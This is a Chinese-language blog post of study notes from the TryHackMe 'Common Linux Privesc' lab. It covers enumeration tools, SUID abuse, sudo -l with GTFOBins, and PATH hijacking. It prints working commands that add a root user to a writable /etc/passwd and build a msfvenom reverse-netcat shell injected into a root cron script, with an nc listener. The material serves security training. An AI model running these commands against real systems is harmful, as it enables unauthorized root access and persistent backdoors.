常见的Linux权限提升 | TryHackMe - Common Linux Privesc

常见的 Linux 提权

这里使用的是tryhackme的这个房间,里面的题目整体简单,适合权限提升新手去熟悉使用,这里也没有过多的去解释操作,而是作为一个笔记整理了权限提升的基础的手法

了解权限提升

权限提升的核心通常是从较低权限提升到较高权限。更确切地说,它是利用系统中的漏洞、设计缺陷或配置疏忽。 操作系统或应用程序获得未经授权的访问 通常对用户限制的资源。

在实战中,很难直接活得管理员权限的立足点,一般都是专门的低权限的网站用户权限,高权限可以让我们实现更多的操作

  • 重置密码
  • 绕过访问控制来破坏受保护的数据
  • 编辑软件配置
  • 启动持久型,方便后续的再次访问
  • 更改用户权限
  • 以及拿到根 Flag

权限提升的方向

主要是两种权限提升:

  • 水平提权: 通过控制与您相同权限级别的其他用户,扩大您对受感染系统的控制范围。
  • 垂直提权(权限提升):指尝试利用已攻陷的现有帐户获取更高权限或访问权限。

枚举

一般就是使用命令查看各种系统信息,从而发现可能的利用点,这里就推荐两个工具方便进行提权前的信息查看

LinEnum

PEASS-ng(这个工具是全平台的权限提升辅助工具,可以使用对应版本的工具)

如何把工具上传到目标机器:

  • 使用 python -m http.server [port]开启一个简单的文件服务器,然后在目标机器中使用 wget http://[your_ip_address]:[port]/[file_name]来下载,之后使用 chmod +x [file]来赋予执行的权限
    • 可以选择下载到 temp 目录
  • 也可以复制全部命令,到目标机器新建一个文件,粘贴进去,执行

在工具输出的结果中,我们重点关注

  • 内核信息
  • 敏感文件的权限,我们是否可以写入
  • SUID,GUID 文件,
    • SUID(执行时设置所有者用户 ID)是赋予文件的一种特殊权限。它允许文件以所有者的权限运行。如果所有者是 root 用户,则文件以 root 权限运行。它可以帮助我们提升权限。
  • cron 任务

滥用 SUID/GUID 文件

什么是 SUID 二进制文件

普通的权限就是 RWX,读取,写入,执行

但是,当为每个用户赋予特殊权限时,它就变成了 SUID 或 SGID。当额外的位 “4” 设置为用户(所有者)时,它就变成了 SUID (设置用户 ID);当额外的位 “2” 设置为组时,它就变成了 SGID (设置组 ID)。

find / -perm -u=s -type f 2> /dev/null来在文件系统中搜索到 SUID/GUID 文件

拥有 suid 权限的二进制文件,你在使用的时候,就可以以文件所有人的权限来使用

比如上面图片中的 /home/user3/shell虽然是 user3 的文件,但是所有人是 root,那么运行就可以拿到一个 root 权限的 shell

利用可写的/etc/passwd

/etc/passwd

/etc/passwd 文件存储登录时所需的基本信息。换句话说,它存储用户帐户信息。/etc/passwd 是一个纯文本文件 。它包含系统帐户列表,为每个帐户提供一些有用的信息,例如用户 ID、组 ID、主目录、shell 等等。

注意其中的格式

test❌0:0:root:/root:/bin/bash

  1. 用户名 :用户登录时使用。其长度应在 1 到 32 个字符之间。
  2. 密码 : x 字符表示加密密码存储在 /etc/shadow 文件。请注意,您需要使用 passwd 命令来计算在 CLI 中输入的密码的哈希值或存储/更新 /etc/shadow 文件中密码的哈希值,在本例中,密码哈希值存储为“x”。
  3. 用户 ID ( UID ) :每个用户都必须分配一个用户 ID ( UID )。UID 0 保留给 root 用户,UID 1-99 保留给其他预定义帐户。此外, UID100-999 由系统保留,供管理员和系统帐户/组使用。
  4. 组 ID (GID) :主组 ID(存储在 /etc/group 文件中)
  5. 用户 ID 信息 :注释字段。它允许您添加有关用户的额外信息,例如用户全名、电话号码等。此字段由 finger 命令使用。
  6. 主目录 :用户登录时所在目录的绝对路径。如果此目录不存在,则用户目录变为 /
  7. Command/shell :命令或 shell 的绝对路径 (/bin/bash)。通常,这是一个 shell。请注意,它不一定是 shell。

所以如果我们拥有对于/etc/passwd 的写权限,那么我们可以自己设置一个 root 用户

这里可以看到/etc/passwd 的 root 组拥有写入的权限而 user7 也正好拥有写的权限

此时我们需要一个符合要求的密码哈希值 openssl passwd -1 -salt [salt] [password]使用这个命令,设置好 salt 和 password,然后 new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash把这一串写入文件就可以

这里需要注意使用 echo 写入的时候 $要使用 \来进行转义,不然无法正常实现效果

最后就可以使用 su new来切换用户了

sudo -l 利用

sudo -l可以列出作为当前用户可以使用的 root 权限用户

比如这个图片就显示我们可以不用密码来以 root 权限运行 vi,这个利用和之前的 suid 文件利用有些相似

https://gtfobins.github.io/

可以到这个网站进行搜索,上面会给出利用的权限提升的各种命令

利用 Crontab

什么是 Cron

Cron 守护进程是一个长期运行的进程,它会在特定的日期和时间执行命令。您可以使用它来安排活动,可以是一次性事件,也可以是重复性任务。您可以创建一个 crontab 文件,其中包含 Cron 守护进程要执行的命令和指令。

可以使用 cat /etc/crontab来进行查看,也可以使用之前的辅助工具在枚举的时候也会列出 cron 任务

* * * * * user command_to_run
│ │ │ │ │
│ │ │ │ └─ 星期几(0-7)0和7都是周日
│ │ │ └─── 月份(1-12)
│ │ └───── 日期(1-31)
│ └─────── 小时(0-23)
└───────── 分钟(0-59)

那么如果我们发现一个在 user4 桌面的 cron 任务,是使用 root 用户来运行的,那我们可以修改其中的文件来执行反弹 shell 的命令

使用 msfvenom 来创建一个载荷

msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R这个 R参数就是把命令显示出来

然后我们复制命令,使用 echo来写入 cron 任务运行的脚本中

然后再攻击机中使用 nc -lnvp [port]来监听这个端口,就能获得 shell

利用 PATH 变量

PATH

PATH 是一个环境 Linux 和类 Unix 操作系统中的变量,用于指定保存可执行程序的目录。当用户在终端中运行任何命令时,它会借助 PATH 变量来搜索可执行文件。 响应用户执行的命令。

使用 echo $PATH就可以查看相关用户的环境变量


假设我们有一个 SUID 二进制文件。运行它,我们可以看到它正在调用系统 shell 执行一些基本操作,例如使用“ps”命令列出进程。

我们可以将 PATH 变量重写到我们选择的位置!这样,当 SUID 二进制文件调用系统 shell 运行可执行文件时,它就会运行我们编写的可执行文件!


可以在 temp 目录下写 echo "/bin/bash" > ls

然后使用 export PATH=/tmp:$PATH来把这个/tmp 放到环境变量的开头,这样调用 ls 命令就会先到 temp 目录来寻找

然后这时候再使用之前的 suid 二进制文件,就会给我们一个 root 权限的 shell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值